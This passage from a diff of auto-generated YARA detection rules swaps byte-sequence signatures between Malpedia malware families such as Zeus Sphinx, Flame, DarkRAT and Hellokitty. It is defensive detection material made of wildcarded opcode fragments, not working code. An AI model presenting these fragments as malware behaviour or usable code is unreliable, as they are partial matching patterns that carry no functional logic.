"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bazarbackdoor_auto.yar#L1-L624" license_url = "N/A" - logic_hash = "e64d83d58a5476627a814f6a3e2d0bd532d00a922e21b2d066d65b8e0bc95a9c" + logic_hash = "bd8ba9a21bc32243d9a5d52be7c33e7ba5fb181916b5174a91f30401b1052790" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -126696,32 +126543,96 @@ rule MALPEDIA_Win_Stration_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7407 6a01 e8???????? 8a15???????? } - $sequence_1 = { 8b4c2434 c1e908 32c8 884c2435 8b542434 c1ea10 } - $sequence_2 = { 56 89442420 b37b e8???????? 85ff } - $sequence_3 = { 8d4c240c b81f85eb51 f7e9 8bc1 c1fa05 50 } - $sequence_4 = { 85db 7474 57 e8???????? 83c404 85c0 } - $sequence_5 = { 56 8be8 e8???????? 6a64 } - $sequence_6 = { 50 ba11010000 8bcf e8???????? 83fe66 } - $sequence_7 = { 83ec14 85c0 756f a1???????? 8b0d???????? } - $sequence_8 = { ff15???????? 8a0d???????? 22cb 85f6 8935???????? } - $sequence_9 = { 68???????? e8???????? a1???????? 0fafc6 } + $sequence_0 = { 488bce 4889442420 ff15???????? 85c0 780a 4898 } + $sequence_1 = { 41b8e6b5a12c 448d4a7d e8???????? 4885c0 740c } + $sequence_2 = { 4533c0 ffd0 eb03 488bc7 83f8ff } + $sequence_3 = { 48635004 85d2 7415 48035138 488b4928 } + $sequence_4 = { 0fb70f ff15???????? 0fb74f02 0fb7d8 ff15???????? 0fb74f08 } + $sequence_5 = { 488d4d80 e8???????? 498bd6 488d4d80 } + $sequence_6 = { ff15???????? 0fb74f08 440fb7e8 ff15???????? } + $sequence_7 = { 7507 33c0 e9???????? b8ff000000 } + $sequence_8 = { c3 0fb74c0818 b80b010000 663bc8 } + $sequence_9 = { cc 4053 4883ec20 b902000000 } + $sequence_10 = { 4533c9 4889442428 488d95a0070000 488d442470 41b80f100000 488bce 4889442420 } + $sequence_11 = { 418d5508 488bc8 ff15???????? 488bd8 4885c0 } + $sequence_12 = { 48c1e108 4803c8 8bc1 488d94059f070000 } + $sequence_13 = { 31ff 4889c1 31d2 4989f0 } + $sequence_14 = { 488d9590050000 488bce ff15???????? 85c0 } + $sequence_15 = { e8???????? 4889c7 8b05???????? 8b0d???????? } + $sequence_16 = { e8???????? 4c89e1 e8???????? 8b05???????? } + $sequence_17 = { 08ca 80f201 7502 ebfe } + $sequence_18 = { 488bd3 e8???????? ff15???????? 4c8bc3 33d2 } + $sequence_19 = { 0f94c3 83fa09 0f9fc1 83fa0a 0f9cc2 30da 7519 } + $sequence_20 = { 83ff0a 0f9cc3 83ff09 0f9fc0 38d3 } + $sequence_21 = { 0fb6d1 80f973 7504 0fb65305 33c0 } + $sequence_22 = { 4889442428 488d95b0030000 488d4580 41b80f100000 } + $sequence_23 = { 0f9cc3 84d3 7504 30d3 } + $sequence_24 = { c744242800000001 4533c9 4533c0 c744242002000000 ba1f000f00 } + $sequence_25 = { e8???????? 8bd8 ff15???????? 4d8bc7 } + $sequence_26 = { ff15???????? 31db 4889c1 31d2 } + $sequence_27 = { e8???????? 4889f1 e8???????? 8b05???????? 8b0d???????? } + $sequence_28 = { 89d0 83f0fe 85d0 0f94c2 0f95c0 83f90a 0f9cc3 } + $sequence_29 = { 0fb65305 33c0 80f973 0f94c0 } + $sequence_30 = { 0fafd0 89d1 83f1fe 21d1 } + $sequence_31 = { c744242880000000 c744242003000000 4889f9 ba00000080 41b801000000 } + $sequence_32 = { 31ed 4889c1 31d2 4989d8 } + $sequence_33 = { 0f9cc3 83f909 0f9fc1 38d3 7507 08c1 } + $sequence_34 = { 7528 0fb64b04 0fb6d1 80f973 } + $sequence_35 = { 08c1 80f101 7502 ebfe } + $sequence_36 = { e8???????? 4c897c2420 4889d9 89fa } + $sequence_37 = { 84d2 7405 80fa2e 750f 0fb6c1 } + $sequence_38 = { 4889c1 31d2 4d89f8 ffd3 } + $sequence_39 = { 31d2 4989d8 ff15???????? 488906 } + $sequence_40 = { 4c8bf0 4889442458 488d4801 e8???????? } + $sequence_41 = { 4889fa 4189f0 4d89f1 ffd0 } + $sequence_42 = { 8d4833 ff15???????? c744242810000000 4533c9 } + $sequence_43 = { 4889f1 ba00000080 41b801000000 4531c9 } + $sequence_44 = { 48c744243000000000 c744242880000000 c744242003000000 4889f1 ba00000080 } + $sequence_45 = { e8???????? 8bc8 e8???????? 8bf8 85ff 7507 6a05 } + $sequence_46 = { 3c0a 7223 89d0 24df 04bf 3c1a } + $sequence_47 = { 84db 7402 ff06 8d4c2410 e8???????? 33d2 85c0 } + $sequence_48 = { 66890d???????? 0fb7ca ff15???????? b901000000 66c746020100 668906 } + $sequence_49 = { 7506 8b0e 894c2460 0fb7c0 } + $sequence_50 = { 686af17afc 6a04 5a e8???????? 59 } + $sequence_51 = { 6685ff 0f849c000000 837c2460ff 0f858c000000 } + $sequence_52 = { 33d2 8d8d00ffffff e8???????? eb18 51 8d4e01 e8???????? } + $sequence_53 = { 59 59 85c0 740b 8bc8 c60100 41 } + $sequence_54 = { 50 0fb745e8 50 68???????? e8???????? } + $sequence_55 = { 51 8b4d00 03cf e8???????? 59 3b442414 } + $sequence_56 = { 0fb7d8 0fb74708 50 ff15???????? 0fb7c8 } + $sequence_57 = { 6a00 ffd3 50 ffd6 33c0 5f 5e } + $sequence_58 = { 83f902 0f95c2 83c224 eb05 ba29000000 } + $sequence_59 = { 8be5 5d c3 6a40 6800300000 ff7750 } + $sequence_60 = { 8d450c 50 ff7508 56 ff15???????? 6a00 } + $sequence_61 = { 660f73d801 660febd0 660f7ed0 84c0 } + $sequence_62 = { 83c40c 8d4101 51 66a3???????? ff15???????? } + $sequence_63 = { 8d7001 81fe80000000 760c 80e1f2 80c902 } + $sequence_64 = { 68???????? e8???????? 83c410 b800308804 6a00 } + $sequence_65 = { 85d2 740d 33d2 83f902 0f95c2 } + $sequence_66 = { 0f848c000000 488b442430 83782000 7460 488b442430 } + $sequence_67 = { 7460 488b442430 488b00 8b4028 488b4c2440 4803c8 488bc1 } + $sequence_68 = { 89442424 48c744242800000000 41b800100200 488d15d02f0000 488d4c2420 } + $sequence_69 = { 4863442430 486bc010 488d0de3380200 4803c8 } + $sequence_70 = { 488d0de3380200 4803c8 488bc1 48634c2434 488d04c8 48634c2438 8b0488 } + $sequence_71 = { 4533c0 ba01000000 488b4c2440 ff9424a0000000 89842480000000 83bc248000000000 } + $sequence_72 = { 488d4c2420 e8???????? 4889442428 4c8d052a200000 } + $sequence_73 = { 4c8d052a200000 488b542428 488d4c2420 e8???????? 4889442430 ff542430 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 2088960 } -rule MALPEDIA_Win_Smominru_Auto : FILE +rule MALPEDIA_Win_Zeus_Sphinx_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ba1df8df-398d-5a15-b32f-32308ade7ab2" + id = "cc60ac31-7ae9-5152-95ad-d09a0d909f1a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smominru_auto.yar#L1-L160" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_sphinx_auto.yar#L1-L157" license_url = "N/A" - logic_hash = "0db1d77f56494f7e7d1098f916a45decdc9bada94ceb297ac850baf6e6d6e3b1" + logic_hash = "aa5ca92258dc544d26d29bb94ea2e9b532df6b20bb95794e6914a3376629593d" score = 75 quality = 75 tags = "FILE" @@ -126735,38 +126646,38 @@ rule MALPEDIA_Win_Smominru_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 894634 8b4718 894638 8b471c 89463c 8b4720 894640 } - $sequence_1 = { 8b5604 0fa5d0 8907 83c604 } - $sequence_2 = { 8b55fc ff5704 837b0c08 7549 } - $sequence_3 = { 8d6c2400 6aff 68b0f3e877 ff7508 } - $sequence_4 = { c9 c20c00 57 5f 55 54 } - $sequence_5 = { 8b55fc f76a14 c1e002 50 8b45fc } - $sequence_6 = { 8b5604 81e2ffffff7f 03c2 8bd0 } - $sequence_7 = { 8b5604 81ca00000002 33c9 8a8b15020000 } - $sequence_8 = { e8???????? 33c0 894704 894708 89470c 894710 894714 } - $sequence_9 = { ff15???????? 85c0 0f8c5f37ac7b 33c0 40 } - $sequence_10 = { 8b5604 59 e8???????? 85c0 } - $sequence_11 = { 8b5604 3bfa 7372 8b1e } - $sequence_12 = { 8b55fc ff560c 8b450c ff00 } - $sequence_13 = { 8bc6 5e c9 c20800 8d7f00 55 } - $sequence_14 = { 5f 55 8d6c2400 8b450c } - $sequence_15 = { 8975e0 8975dc 8975c0 8975c8 39750c 0f841948ab7b } + $sequence_0 = { 50 e8???????? 891c24 89c6 e8???????? 83c410 8d65f4 } + $sequence_1 = { 50 e8???????? 83c410 e8???????? 8d65f8 } + $sequence_2 = { 52 53 57 e8???????? ff4750 83c410 } + $sequence_3 = { 50 e8???????? 83c420 48 } + $sequence_4 = { 50 e8???????? 83c430 85c0 7e0c } + $sequence_5 = { 50 e8???????? 83c418 68???????? 68???????? } + $sequence_6 = { 50 e8???????? 84c0 745f 8d442414 } + $sequence_7 = { 50 e8???????? 83c414 68???????? e8???????? c70424???????? } + $sequence_8 = { 01fc eb98 035e14 8ade } + $sequence_9 = { 010d???????? 60 5a 98 } + $sequence_10 = { 0303 50 ff550c 8b3e } + $sequence_11 = { 020a 42 1af6 af } + $sequence_12 = { 0162c9 cf 0c06 3c3e } + $sequence_13 = { 003b c09bdbe23ea11c 695600663ec700 de07 } + $sequence_14 = { 010c02 3bf7 0f85f0f50000 e9???????? } + $sequence_15 = { 0008 d7 9f b2d3 } condition: - 7 of them and filesize < 8167424 + 7 of them and filesize < 3268608 } -rule MALPEDIA_Win_Unidentified_042_Auto : FILE +rule MALPEDIA_Win_Darkrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ae890a66-8da7-5772-a89f-ab1d2760fae8" + id = "23e37317-8228-5897-b34f-5636920d388d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_042" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_042_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkrat_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "782ff3cf4462e323a29ec1ed58b2c131a4c6b0f31ed36cc79b62c6515d0facd2" + logic_hash = "c66a4bb6e3f6849fe471570a3e9ab067b886ef3521f3b46d24057084154fb02f" score = 75 quality = 75 tags = "FILE" @@ -126780,32 +126691,32 @@ rule MALPEDIA_Win_Unidentified_042_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 8bf0 8b4508 8b00 57 8bf9 c70600000000 } - $sequence_1 = { 53 8bd8 56 b800200000 33f6 66858350020000 7410 } - $sequence_2 = { 8a1430 40 8855ff 33d2 8d7801 33c9 8955f4 } - $sequence_3 = { 66858f50020000 0f8532ffffff c60616 8a977e010000 885601 8a877f010000 884602 } - $sequence_4 = { 53 56 8bf0 a1???????? 33db 57 895df8 } - $sequence_5 = { 895df4 8d75e8 e8???????? 8bc7 5f 5e } - $sequence_6 = { 57 ffd6 a3???????? 85c0 0f8489020000 8d95d7fcffff 52 } - $sequence_7 = { c78518f9ffff356c656e c7851cf9ffff636a5a44 c78520f9ffff49577a32 c78524f9ffff59725a56 c78528f9ffff4362620d c7852cf9ffff0a626671 c78530f9ffff73752f38 } - $sequence_8 = { 0175f0 c1cf02 89b5ccfeffff 89bdd4feffff 8bfa } - $sequence_9 = { 88480a 66859350020000 7548 8b7b18 8d700b 6a41 8bce } + $sequence_0 = { 83c408 837b100a 8b7dd4 0f8514ffffff 8b55ec } + $sequence_1 = { e8???????? 83c408 c745e800000000 8d4dd8 } + $sequence_2 = { 51 56 e8???????? 83c40c c6043e00 eb17 57 } + $sequence_3 = { 72bd 8b4d08 42 8bc1 81fa00100000 72a5 8b49fc } + $sequence_4 = { 7435 6a13 68???????? 8bcb } + $sequence_5 = { 85c0 7527 6a0c 68???????? 8bcb e8???????? } + $sequence_6 = { c645fc01 8b45cc 83f810 7227 8d4801 } + $sequence_7 = { c7856cffffff0f000000 c68558ffffff00 6880000000 8d8570ffffff c745fc01000000 } + $sequence_8 = { c745d400000000 e8???????? 50 e8???????? 83c408 c745e800000000 8d4dd8 } + $sequence_9 = { 8b4314 0f43d6 8b7b10 2bc7 8b4dc8 3bc8 7726 } condition: - 7 of them and filesize < 516096 + 7 of them and filesize < 884736 } -rule MALPEDIA_Win_Pulsartea_Auto : FILE +rule MALPEDIA_Win_Flame_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "492a2a3f-efe7-5dcc-8ea0-f274f56c1d7a" + id = "9866d719-20ba-56a9-89a4-346e1b2eca8d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pulsartea" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pulsartea_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flame" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flame_auto.yar#L1-L147" license_url = "N/A" - logic_hash = "e947490c744b727dc99593cdd46b11ea245b6efcca5c96db4f4a6ac92a6b6da4" + logic_hash = "131f2d5e5a8a0cf24fae537b61affbb5c92eae0dfe8bde03b44be173be5d9d24" score = 75 quality = 75 tags = "FILE" @@ -126819,32 +126730,36 @@ rule MALPEDIA_Win_Pulsartea_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c745bc00000000 418bde 488b0f 488d55c0 e8???????? } - $sequence_1 = { 4889542420 488bcb e8???????? 4d8d870c020000 488d15a6500200 } - $sequence_2 = { 488d41f8 4883f81f 0f8789000000 498bc8 e8???????? 4c896e10 48c746180f000000 } - $sequence_3 = { 4c8d4d80 4533c0 8bd0 488d8d20060000 ff15???????? 440fb745a4 4533c9 } - $sequence_4 = { 418b048e 4133c1 8983a4000000 458842ff 4883ed01 } - $sequence_5 = { 488bc8 ff15???????? 85c0 0f84be000000 488b4c2440 488d442448 41b92c010000 } - $sequence_6 = { 48c74424480f000000 4088742430 498b442410 4883f810 0f823b0b0000 4883c0f0 41b804000000 } - $sequence_7 = { e8???????? 33db 8bf8 85c0 0f8454020000 4c8d25646e0100 448bf3 } - $sequence_8 = { 4c897f10 488bc7 48837f1810 7203 488b07 c60000 488b4f10 } - $sequence_9 = { c1e806 83e001 418986380c0000 83ff17 756d 0f57c0 448d4f4d } + $sequence_0 = { 83f901 7415 e8???????? c70016000000 } + $sequence_1 = { 85c9 741a 83f901 7415 } + $sequence_2 = { 7573 895dec 8d45ec 50 } + $sequence_3 = { 7428 498b5610 8b4f18 8bc3 } + $sequence_4 = { 7428 448865dc 41c1ec08 488d55dc 448865dd 8b4f18 } + $sequence_5 = { 8d45dc 33f6 6a14 50 8975f4 8975fc } + $sequence_6 = { ffd7 90 eb00 4883c430 5f 5e } + $sequence_7 = { 7429 488b4c2428 488d542450 41b8df010000 } + $sequence_8 = { 8bce 89450c e8???????? 8b06 57 } + $sequence_9 = { 894e10 8d4df0 51 6a40 6a0f 50 } + $sequence_10 = { 74ac 68???????? ff35???????? e8???????? 59 59 a3???????? } + $sequence_11 = { 6a08 59 ff7510 33c0 ff750c 8d7de0 } + $sequence_12 = { 7428 41b918000000 4533c0 488bd0 } + $sequence_13 = { 8bbb98000000 440fb7c5 4923c7 488bce 4903c4 } condition: - 7 of them and filesize < 520192 + 7 of them and filesize < 1676288 } -rule MALPEDIA_Win_Acronym_Auto : FILE +rule MALPEDIA_Win_Quan_Pin_Loader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ce514e29-77d6-5ca8-add6-cd76a31812fc" + id = "1fa8c8cd-f609-5225-baa7-0fa410d45d6c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acronym_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quan_pin_loader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quan_pin_loader_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "5cca7d22218319c4f5ca79e1094be5a7a94847bd4819615124c26ef306c59f0d" + logic_hash = "4f7da9c0c4a15d34fa1ce0c27eb780960020faa43be4d9d68fb3c3bdcd21f6fc" score = 75 quality = 75 tags = "FILE" @@ -126858,32 +126773,32 @@ rule MALPEDIA_Win_Acronym_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 894c05d0 ba04000000 6bd200 8b45ec 894415b4 b904000000 c1e100 } - $sequence_1 = { 0fb6c8 85c9 0f84d4000000 8b550c 8955d8 8b4510 50 } - $sequence_2 = { 50 8b85e8fdffff 8b08 8b95e8fdffff 52 8b413c } - $sequence_3 = { 0fb6c8 85c9 753d 8d4dd8 e8???????? 50 } - $sequence_4 = { 83f832 0f8547170000 c745e400000000 8b4de4 894de8 8b55e8 8955e0 } - $sequence_5 = { 668b544144 668955fc 0fb745fc c1e004 8b4d08 8d940190c90000 b804000000 } - $sequence_6 = { e8???????? 83c404 89853cfeffff 8d4ddc 898d84feffff 8b9584feffff 899540fdffff } - $sequence_7 = { 8b4df0 668b544112 668955fc 0fb745fc c1e004 8b4d08 8d940190c90000 } - $sequence_8 = { 8d95f4fdffff 52 8d8d50fdffff e8???????? 8bc8 e8???????? 50 } - $sequence_9 = { 52 8b450c 50 8b8d0cffffff 51 e8???????? } + $sequence_0 = { 8b4d08 e8???????? 85c0 750f 0fb703 6683f80d 7406 } + $sequence_1 = { 83630800 488d0524c10400 488903 eb3a 41b804000000 488d15d6ba0400 e8???????? } + $sequence_2 = { 4183f904 7410 4183f906 0f85c8fdffff 0fbaea0a eb0a 0fbaea08 } + $sequence_3 = { 84d2 7418 c6415401 d1e8 eb14 488d1524a80300 b806000000 } + $sequence_4 = { 4d8bc6 418bd7 488bcf e8???????? 8bf0 85c0 0f8850010000 } + $sequence_5 = { 488b5d60 488d4c2430 e8???????? 488d4c2420 e8???????? 4883eb20 } + $sequence_6 = { b904010000 660b0d???????? 66890d???????? 480fbae71e 7224 0fb7c5 ba0f000000 } + $sequence_7 = { 488b5008 488b4810 482bca 48c1f902 493bcd } + $sequence_8 = { 488bcb 0f2845e0 660f7f45e0 e8???????? e9???????? c745e805000000 488d0539ef0400 } + $sequence_9 = { 41b907000000 4c8bc3 8bd5 ff5018 8bf8 8b442478 } condition: - 7 of them and filesize < 466944 + 7 of them and filesize < 1711104 } -rule MALPEDIA_Win_Starcruft_Auto : FILE +rule MALPEDIA_Win_Badflick_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e43c9dba-c687-54c9-a2de-dd0a9a45d60b" + id = "1951cb0e-a0c5-59e1-834b-292c5e2f8f2a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.starcruft_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badflick_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "96896309775ea1553e784bf38519d110c5e6ff85ff5070e7ca85592bc9b55bb1" + logic_hash = "49a5abd3151b3eb74bfd8f8adfc99feeac10f3374c938c8bdf06a9faa4f988f8" score = 75 quality = 75 tags = "FILE" @@ -126897,32 +126812,32 @@ rule MALPEDIA_Win_Starcruft_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c40c 8b45ec 50 e8???????? 83c404 8b4de8 894dec } - $sequence_1 = { 85c0 7505 83c8ff eb17 6a00 8b55ec } - $sequence_2 = { ff15???????? 8945e4 837de400 740c e8???????? } - $sequence_3 = { 8d4dfc 51 8d95f0f9ffff 52 6a13 8d8538fbffff } - $sequence_4 = { 8955fc 8b45f8 8945f0 eb09 8b4df0 83c102 } - $sequence_5 = { 83c408 83f8ff 7516 6a00 8d95c8fcffff 52 8d85d0fdffff } - $sequence_6 = { 6a36 8b4d08 83c158 51 e8???????? 83c40c 6a40 } - $sequence_7 = { e9???????? 6a00 8b95e4f5ffff 52 ff15???????? 8b4d10 8901 } - $sequence_8 = { 8d95f0feffff 52 e8???????? 83c40c 6804010000 8d85ecfdffff 50 } - $sequence_9 = { 6a06 8d9578fbffff 52 e8???????? 83c410 8d85d0fbffff 50 } + $sequence_0 = { 8bd8 ff37 ff15???????? 50 e8???????? 50 ff7508 } + $sequence_1 = { ff35???????? ff750c ff75fc ff33 e8???????? 8b7d10 83c418 } + $sequence_2 = { 55 8bec ff7508 6a2b } + $sequence_3 = { 807d1000 59 5f 5e } + $sequence_4 = { be00f00000 56 e8???????? 59 53 8d4df8 51 } + $sequence_5 = { 8b4904 03c8 81f9fe34012c 7509 83f805 } + $sequence_6 = { 6a3d e8???????? 8bf0 8a4508 59 59 884605 } + $sequence_7 = { a5 a5 eb02 33c0 50 6a00 } + $sequence_8 = { 8d8548f3ffff 50 ffd7 8d856cf9ffff 50 8d8560f7ffff } + $sequence_9 = { a5 a5 e8???????? 59 6a00 } condition: - 7 of them and filesize < 294912 + 7 of them and filesize < 81920 } -rule MALPEDIA_Win_Kingminer_Auto : FILE +rule MALPEDIA_Win_Godzilla_Loader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dc87ee85-ad64-51c7-a30a-c6bd4d73fed8" + id = "be70f5e8-f454-5cf5-9a53-9b79088ce98e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kingminer_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.godzilla_loader_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "a5745ddfac302b5a6ad793ecca6fc94da98fb5fc6ae2a187ff80bbe4b8e2d2c1" + logic_hash = "192fb36ce99cb3fd5c305739a3550413e1aac5f25669dd240cdac235353c820b" score = 75 quality = 75 tags = "FILE" @@ -126936,32 +126851,32 @@ rule MALPEDIA_Win_Kingminer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8945f0 c745f400000000 3b0d???????? 0f8d8e010000 68???????? ff15???????? } - $sequence_1 = { 8b8db0feffff e8???????? 8b95d8feffff 8b8db0feffff 52 8bf0 e8???????? } - $sequence_2 = { 53 8b5f38 f6c301 7570 0fb74706 } - $sequence_3 = { 0fb75714 8d4c3a24 85c0 7429 8bf0 } - $sequence_4 = { 52 e9???????? a1???????? 6800040000 } - $sequence_5 = { 3bf0 741e 68c1000000 ff15???????? 5b } - $sequence_6 = { 68???????? ff15???????? 8b7508 c7465c88d00010 } - $sequence_7 = { 8b0d???????? 8945ec 8b4624 83c628 } - $sequence_8 = { 8975e4 33c0 39b8a0f70010 0f8491000000 } - $sequence_9 = { 8b95d0feffff 2b4234 7419 83b9a000000000 7466 50 } + $sequence_0 = { 56 57 ff7508 ff15???????? 8bf0 56 } + $sequence_1 = { 8d45fc 50 57 6a01 56 ff7508 } + $sequence_2 = { 6a00 8bf8 8d45fc 50 57 6a01 56 } + $sequence_3 = { 6a01 56 ff7508 8975fc } + $sequence_4 = { 53 53 53 6800000088 } + $sequence_5 = { a5 ff512c 85c0 756c } + $sequence_6 = { a5 50 a5 ff512c 85c0 756c } + $sequence_7 = { 8b08 50 ff11 85c0 7527 } + $sequence_8 = { 8bec 51 56 57 ff7508 ff15???????? 8bf0 } + $sequence_9 = { 53 53 53 53 6800000088 } condition: - 7 of them and filesize < 165888 + 7 of them and filesize < 155648 } -rule MALPEDIA_Win_Hellokitty_Auto : FILE +rule MALPEDIA_Win_Roadsweep_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "70edbf2a-39f7-5f31-a1a6-369fa9a6babf" + id = "6c093c47-8e58-51ee-ae4c-89b38c2f042b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hellokitty" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hellokitty_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roadsweep" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roadsweep_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "69c3664f3b1b0dc034046821a230bddd8509bf97c9fd256224c800e384d6c7d3" + logic_hash = "0d07cae12c5491ee120ce765fa753d2699b968376031bccf1e21a7a431677bd5" score = 75 quality = 75 tags = "FILE" @@ -126975,32 +126890,32 @@ rule MALPEDIA_Win_Hellokitty_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89542414 3d00010000 0f8f27010000 8bcb e8???????? 8bf0 } - $sequence_1 = { 6a08 58 75a4 5b 5f 5e c9 } - $sequence_2 = { 50 ffd6 8bd8 8945fc 83c8ff 3bd8 0f846b020000 } - $sequence_3 = { 8b45fc 8b4048 f00fc118 4b 7515 8b45fc 817848c0044200 } - $sequence_4 = { 03c8 8b45f0 03ce 8b75fc 894df8 c1c105 8b4034 } - $sequence_5 = { 8d4c242c e8???????? 837c243c08 8d442428 0f43442428 33ff 57 } - $sequence_6 = { 8b7508 2bdf ba10000000 660f1f440000 8a0c06 8d4001 3248ff } - $sequence_7 = { 0fb689303b4200 33f9 333d???????? 33fa 8bd7 89b880000000 33d6 } - $sequence_8 = { c1c806 33c8 8b45dc 3345e8 034dac 23f0 3375dc } - $sequence_9 = { c1c10e 33c8 8bc2 8b55cc 8bf2 c1e803 33c8 } + $sequence_0 = { 89542404 e8???????? 3955cc 89c3 c745b800000000 } + $sequence_1 = { e9???????? c7442404???????? c7042404010000 e8???????? 83ec08 e9???????? c744240404010000 } + $sequence_2 = { 8b45e8 85d2 0f885d010000 85d2 0f8ea6010000 } + $sequence_3 = { 00d2 8b5d08 83d903 8db534ffffff c744240c00000000 29f9 baffffffff } + $sequence_4 = { 56 ba01000000 53 83ec50 8b7508 8d742600 8dbc2700000000 } + $sequence_5 = { c744241000000000 89542404 893424 e8???????? 8bbd6cffffff } + $sequence_6 = { c745cc04100800 891424 e8???????? 83ec04 85c0 } + $sequence_7 = { e8???????? 891c24 8d9578fbffff 89542404 c68578fbffff25 c68579fbffff73 c6857afbffff63 } + $sequence_8 = { 890424 e8???????? 89b564ffffff 31c9 48 899d6cffffff } + $sequence_9 = { 3d???????? 7207 3d???????? 7216 } condition: - 7 of them and filesize < 319488 + 7 of them and filesize < 160768 } -rule MALPEDIA_Win_Helminth_Auto : FILE +rule MALPEDIA_Win_Ariabody_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5fdf8a25-7bbd-5109-b9cb-02cfb27261a2" + id = "b288143a-494f-5110-aa08-78c947a2ffad" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.helminth_auto.yar#L1-L160" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ariabody_auto.yar#L1-L162" license_url = "N/A" - logic_hash = "fef76838e29eb47ff0f2e451721fe0e767720682455a5aea55c0645b1ef1cd31" + logic_hash = "01493614906849451d77f5112637b662b1eef5ef050791957456a657828f7e1a" score = 75 quality = 75 tags = "FILE" @@ -127014,37 +126929,38 @@ rule MALPEDIA_Win_Helminth_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { a1???????? 68e8030000 8907 e8???????? } - $sequence_1 = { 2bc6 3bd8 a1???????? 7f5e 8d3c81 } - $sequence_2 = { 